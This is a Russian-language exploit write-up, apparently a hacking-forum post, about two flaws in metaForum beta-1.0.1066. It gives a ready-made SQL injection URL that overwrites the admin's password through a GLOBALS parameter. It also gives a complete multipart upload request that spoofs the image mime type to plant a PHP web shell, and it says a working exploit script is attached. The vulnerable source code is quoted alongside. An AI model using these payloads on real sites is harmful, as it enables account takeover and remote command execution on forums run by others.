Site: http://www.blursoft.com/metaForum/
Version: beta-1.0.1066
SQL-инъекция
[Зависимости: права пользователя, rg=on]
File: /engine/shards/user_profile.php
Url: http://host/forum/index.php?shard=usercp&action=g_edit_profile
PHP код:
case "submit_profile_edit":
if (array_key_exists("realname" , $_REQUEST ) == TRUE )
$realname = make_var_safe(htmlspecialchars($_REQUEST["realname"]));
if (array_key_exists("birthdate" , $_REQUEST ) == TRUE )
$birthdate = make_var_safe(htmlspecialchars($_REQUEST["birthdate"]));
if (array_key_exists("location" , $_REQUEST ) == TRUE )
$location = make_var_safe(htmlspecialchars($_REQUEST["location"]));
if (array_key_exists("email" , $_REQUEST ) == TRUE )
$email = make_var_safe(htmlspecialchars($_REQUEST["email"]));
if (array_key_exists("website" , $_REQUEST ) == TRUE )
$website = make_var_safe(htmlspecialchars($_REQUEST["website"]));
if (array_key_exists("IM" , $_REQUEST ) == TRUE )
$IM = make_var_safe(htmlspecialchars($_REQUEST["IM"]));
if (array_key_exists("profile" , $_REQUEST ) == TRUE )
$profile = make_var_safe(htmlspecialchars($_REQUEST["profile"]));
if (array_key_exists("sig" , $_REQUEST ) == TRUE )
$sig = make_var_safe(htmlspecialchars($_REQUEST["sig"]));
// die($realname);
$result = mf_query("update users set realname='$realname', birthdate='$birthdate', location='$location', email='$email', website='$website', IM='$IM', profile='$profile', sig='$sig' where username='$CURRENTUSER'") or die(mysql_error());
header("Location: index.php?shard=usercp&action=g_success");
Вообще, меня удивило то, как разработчики определяют установленные переменные. Каким бы путем мы не передали параметр, скрипт его в любом случае выхватывает, буть то кукисы,пост или гет. Но если же указаный ключ массива ненайден - то в запрос идет неопределенная переменная. Чутка помозговав, нашел простое решение - массив
GLOBALS. Ведь есть передать скрипту
?GLOBALS[var]=1, то в скпите
$var примет значение 1. Но в массиве
_REQUEST индекс будет
_REQUEST[GLOBALS[var]]; Ну дальше думаю понятно. Получаем - смену пароля у юзеров на произвольный. Не поленился, написал сплойт который в аттаче. На входе - хост валидный_логин валидный_пароль админ_логин новый_пасс
Ну выходе - информация и новый пассворд.
Target:
Код:
/index.php?shard=usercp&action=submit_profile_edit&GLOBALS[realname]=',password='sha1(youpass)' where username='admin' -- 1
Загрузка шелла
[Зависимости: права администратора]
File: /engine/shards/upload.php
Url: http://host/forum/index.php?shard=upload&status=shell.php
PHP код:
case "do_upload":
$thisContentObj = &New contentObj;
$thisContentObj->title = "Upload Status";
//$filename = $_REQUEST['imagefile'];
//die($_FILES['imagefile']['type']);
if ($_FILES['imagefile']['type'] == "image/jpeg" || $_FILES['imagefile']['type'] == "image/png")
{
copy ($_FILES['imagefile']['tmp_name'], "images/" . $_FILES['imagefile']['name']);
...
Тут как видно все элементрано. Ни каких тебе проверок расширения, просто проверка
mime-type. Подменяем, и получаем шелл.
Код:
Target: http://host/forum/index.php?shard=upload&action=do_upload
Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: image/jpeg\r\n
\r\n
<?php system($_REQUEST[pew])?>\r\n
-----------------------------114782935826962\r\n
Content-Disposition: form-data; name="Submit"\r\n
\r\n
Submit\r\n
-----------------------------114782935826962--\r\n
Шелл будет по адресу: http://host/forum/images/
shell.php
Эксплоит
Прикреплен аттачем.